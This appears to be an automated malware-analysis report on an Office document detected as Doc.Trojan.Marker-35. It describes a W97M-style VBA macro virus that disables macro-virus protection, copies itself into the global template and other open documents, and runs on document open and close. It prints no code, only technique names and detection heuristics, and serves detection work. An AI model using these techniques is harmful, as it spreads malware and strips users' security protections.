MITRE ATT&CK
T1059.005 Visual Basic T1546.001 Event Triggered Execution: Sign of the Times T1546.001 Event Triggered Execution: Sign of the Times

The sample contains VBA macros that are designed to disable Office macro security features and replicate themselves across documents and templates. The macro attempts to disable virus protection and tamper with VBA project code, indicating a self-replication and persistence mechanism. The presence of the 'Document_Open' and 'Document_Close' subroutines suggests an attempt to execute malicious code upon document interaction.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
